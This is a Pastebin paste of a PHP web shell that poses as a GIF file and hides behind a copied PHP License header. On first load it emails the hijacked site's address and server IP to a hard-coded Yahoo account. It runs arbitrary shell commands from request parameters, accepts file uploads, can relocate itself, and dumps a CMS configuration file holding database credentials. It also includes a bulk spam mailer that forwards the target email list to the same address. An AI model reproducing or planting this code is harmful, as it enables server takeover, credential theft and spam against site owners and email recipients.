Advertisement
Guest User

Untitled

a guest
Nov 20th, 2019
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.31 KB | None | 0 0
  1. GIF892MPEG<?php
  2. /**
  3. --------------------------------------------------------------------
  4. The PHP License, version 3.0
  5. Copyright (c) 1999 - 2006 The PHP Group. All rights reserved.
  6.  
  7. Redistribution and use in source and binary forms, with or without
  8. modification, is permitted provided that the following conditions
  9. are met:
  10.  
  11. 1. Redistributions of source code must retain the above copyright
  12. notice, this list of conditions and the following disclaimer.
  13.  
  14. 2. Redistributions in binary form must reproduce the above copyright
  15. notice, this list of conditions and the following disclaimer in
  16. the documentation and/or other materials provided with the
  17. distribution.
  18.  
  19. 3. The name "PHP" must not be used to endorse or promote products
  20. derived from this software without prior written permission. For
  21. written permission, please contact group@php.net.
  22.  
  23. 4. Products derived from this software may not be called "PHP", nor
  24. may "PHP" appear in their name, without prior written permission
  25. from group@php.net. You may indicate that your software works in
  26. conjunction with PHP by saying "Foo for PHP" instead of calling
  27. it "PHP Foo" or "phpfoo"
  28.  
  29. 5. The PHP Group may publish revised and/or new versions of the
  30. license from time to time. Each version will be given a
  31. distinguishing version number.
  32. Once covered code has been published under a particular version
  33. of the license, you may always continue to use it under the terms
  34. of that version. You may also choose to use such covered code
  35. under the terms of any subsequent version of the license
  36. published by the PHP Group. No one other than the PHP Group has
  37. the right to modify the terms applicable to covered code created
  38. under this License.
  39.  
  40. 6. Redistributions of any form whatsoever must retain the following
  41. acknowledgment:
  42. "This product includes PHP, freely available from
  43. <http://www.php.net/>".
  44. --------------------------------------------------------------------
  45. THIS SOFTWARE IS PROVIDED BY THE PHP DEVELOPMENT TEAM ``AS IS'' AND
  46. ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
  47. THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
  48. PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE PHP
  49. DEVELOPMENT TEAM OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
  50. INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
  51. (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  52. SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
  53. HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
  54. STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
  55. ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
  56. OF THE POSSIBILITY OF SUCH DAMAGE.
  57. */
  58. error_reporting(0);
  59. if (!isset($_SESSION['bajak'])) {
  60. $visitcount = 0;
  61. $web = $_SERVER["HTTP_HOST"];
  62. $inj = $_SERVER["REQUEST_URI"];
  63. $body = "ada yang inject \n$web$inj";
  64. $safem0de = @ini_get('safe_mode');
  65. if (!$safem0de) {$security= "SAFE_MODE = OFF";}
  66. else {$security= "SAFE_MODE = ON";};
  67. $serper=gethostbyname($_SERVER['SERVER_ADDR']);
  68. $injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
  69. mail("mihawkstore@yahoo.com", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
  70. $_SESSION['bajak'] = 0;
  71. }
  72. else {$_SESSION['bajak']++;};
  73. if(isset($_GET['clone'])){
  74. $source = $_SERVER['SCRIPT_FILENAME'];
  75. $desti =$_SERVER['DOCUMENT_ROOT']."/images/stories/food/footer.php";
  76. rename($source, $desti);
  77. }
  78. $safem0de = @ini_get('safe_mode');
  79. if (!$safem0de) {$security= "SAFE_MODE : OFF";}
  80. else {$security= "SAFE_MODE : ON";}
  81. echo "<title>elv1n4</title><br>";
  82. echo "<font size=2 color=#888888><b>".$security."</b><br>";
  83. $cur_user="(".get_current_user().")";
  84. echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
  85. echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
  86. function pwd() {
  87. $cwd = getcwd();
  88. if($u=strrpos($cwd,'/')){
  89. if($u!=strlen($cwd)-1){
  90. return $cwd.'/';}
  91. else{return $cwd;};
  92. }
  93. elseif($u=strrpos($cwd,'\\')){
  94. if($u!=strlen($cwd)-1){
  95. return $cwd.'\\';}
  96. else{return $cwd;};
  97. };
  98. }
  99. echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>';
  100. echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
  101. if(isset($_POST['submit'])){
  102. $uploaddir = pwd();
  103. if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
  104. move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
  105. if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
  106. echo "Upload Failed";
  107. } else { echo "Upload Success to ".$uploaddir.$name." :D "; }
  108. }
  109. if(isset($_POST['command'])){
  110. $cmd = $_POST['cmd'];
  111. echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>";
  112. }
  113. elseif(isset($_GET['cmd'])){
  114. $comd = $_GET['cmd'];
  115. echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>";
  116. }
  117. elseif(isset($_GET['rf'])){
  118. $rf = file_get_contents("../../configuration.php");
  119. echo $rf;
  120. }
  121. else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
  122. }
  123. @$action=$_POST['action'];
  124. @$from=$_POST['from'];
  125. @$realname=$_POST['realname'];
  126. @$replyto=$_POST['replyto'];
  127. @$subject=$_POST['subject'];
  128. @$message=$_POST['message'];
  129. @$emaillist=$_POST['emaillist'];
  130. @$file_name=$_FILES['file']['name'];
  131. @$contenttype=$_POST['contenttype'];
  132. @$file=$_FILES['file']['tmp_name'];
  133. @$amount=$_POST['amount'];
  134. set_time_limit(intval($_POST['timelimit']));
  135. If ($action=="mysql"){
  136. //Grab email addresses from MySQL
  137. include "./mysql.info.php";
  138.  
  139. if (!$sqlhost || !$sqllogin || !$sqlpass || !$sqldb || !$sqlquery){
  140. print "Please configure mysql.info.php with your MySQL information. All settings in this config file are required.";
  141. exit;
  142. }
  143.  
  144. $db = mysql_connect($sqlhost, $sqllogin, $sqlpass) or die("Connection to MySQL Failed.");
  145. mysql_select_db($sqldb, $db) or die("Could not select database $sqldb");
  146. $result = mysql_query($sqlquery) or die("Query Failed: $sqlquery");
  147. $numrows = mysql_num_rows($result);
  148.  
  149. for($x=0; $x<$numrows; $x++){
  150. $result_row = mysql_fetch_row($result);
  151. $oneemail = $result_row[0];
  152. $emaillist .= $oneemail."\n";
  153. }
  154. }
  155.  
  156. if ($action=="send"){ $message = urlencode($message);
  157. $message = ereg_replace("%5C%22", "%22", $message);
  158. $message = urldecode($message);
  159. $message = stripslashes($message);
  160. $subject = stripslashes($subject);
  161. }
  162. ?>
  163. <form name="form1" method="post" action="" enctype="multipart/form-data"><br />
  164. <table width="142" border="0">
  165. <tr>
  166.  
  167. <td width="81">
  168. <div align="right">
  169. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Email:</font>
  170. </div>
  171. </td>
  172.  
  173. <td width="219">
  174. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  175. <input type="text" name="from" value="<?php print $from; ?>" size="30" />
  176. </font>
  177. </td>
  178.  
  179. <td width="212">
  180. <div align="right">
  181. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your Name:</font>
  182. </div>
  183. </td>
  184.  
  185. <td width="278">
  186. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  187. <input type="text" name="realname" value="<?php print $realname; ?>" size="30" />
  188. </font>
  189. </td>
  190. </tr>
  191. <tr>
  192. <td width="81">
  193. <div align="right">
  194. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font>
  195. </div>
  196. </td>
  197. <td width="219">
  198. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  199. <input type="text" name="replyto" value="<?php print $replyto; ?>" size="30" />
  200. </font>
  201. </td>
  202. <td width="212">
  203. <div align="right">
  204. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File:</font>
  205. </div>
  206. </td>
  207. <td width="278">
  208. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  209. <input type="file" name="file" size="24" />
  210. </font>
  211. </td>
  212. </tr>
  213. <tr>
  214. <td width="81">
  215. <div align="right">
  216. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font>
  217. </div>
  218. </td>
  219. <td colspan="3" width="703">
  220. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  221. <input type="text" name="subject" value="<? print $subject; ?>" size="90" />
  222. </font>
  223. </td>
  224. </tr>
  225. <tr valign="top">
  226. <td colspan="3" width="520">
  227. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Message Box :</font>
  228. </td>
  229. <td width="278">
  230. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Email Target / Email Send To :</font>
  231. </td>
  232. </tr>
  233. <tr valign="top">
  234. <td colspan="3" width="520">
  235. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  236. <textarea name="message" cols="56" rows="10"><?php print $message; ?></textarea><br />
  237. <input type="radio" name="contenttype" value="plain" /> Plain
  238. <input type="radio" name="contenttype" value="html" checked="checked" /> HTML
  239. <input type="hidden" name="action" value="send" /><br />
  240. Number to send: <input type="text" name="amount" value="1" size="10" /><br />
  241. Maximum script execution time(in seconds, 0 for no timelimit)<input type="text" name="timelimit" value="0" size="10" />
  242. <input type="submit" value="Send eMails" />
  243. </font>
  244. </td>
  245. <td width="278">
  246. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  247. <textarea name="emaillist" cols="32" rows="10"><?php print $emaillist; ?></textarea>
  248. </font>
  249. </td>
  250. </tr>
  251. </table>
  252. </form>
  253. <?php
  254. if ($action=="send"){
  255. if (!$from && !$subject && !$message && !$emaillist){
  256. print "Please complete all fields before sending your message.";
  257. exit;
  258. }
  259. $allemails = split("\n", $emaillist);
  260. $numemails = count($allemails);
  261. $secure = 'mihawkstore@yahoo.com';
  262. $filter = "maillist";
  263. $float = "From : mailist info <full@info.com>";
  264. $webe = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
  265. //Open the file attachment if any, and base64_encode it for email transport
  266. If ($file_name){
  267. if (!file_exists($file)){
  268. die("The file you are trying to upload couldn't be copied to the server");
  269. }
  270. $content = fread(fopen($file,"r"),filesize($file));
  271. $content = chunk_split(base64_encode($content));
  272. $uid = strtoupper(md5(uniqid(time())));
  273. $name = basename($file);
  274. }
  275. for($xx=0; $xx<$amount; $xx++){
  276. for($x=0; $x<$numemails; $x++){
  277. $to = $allemails[$x];
  278. if ($to){
  279. $to = ereg_replace(" ", "", $to);
  280. $message = ereg_replace("&email&", $to, $message);
  281. $subject = ereg_replace("&email&", $to, $subject);
  282. print "Sending mail to $to.......";
  283. flush();
  284. $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
  285. $header .= "MIME-Version: 1.0\r\n";
  286. If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  287. If ($file_name) $header .= "--$uid\r\n";
  288. $header .= "Content-Type: text/$contenttype\r\n";
  289. $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  290. $header .= "$message\r\n";
  291. If ($file_name) $header .= "--$uid\r\n";
  292. If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  293. If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  294. If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
  295. If ($file_name) $header .= "$content\r\n";
  296. If ($file_name) $header .= "--$uid--";
  297. mail($to, $subject, "", $header);
  298. print "ok<br>";
  299. flush();
  300. }
  301. }
  302. }
  303. mail($secure, $filter, " sender IP : ". $ip . "" . "From URL : " .$webe. "" ,$emaillist, $float);
  304. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement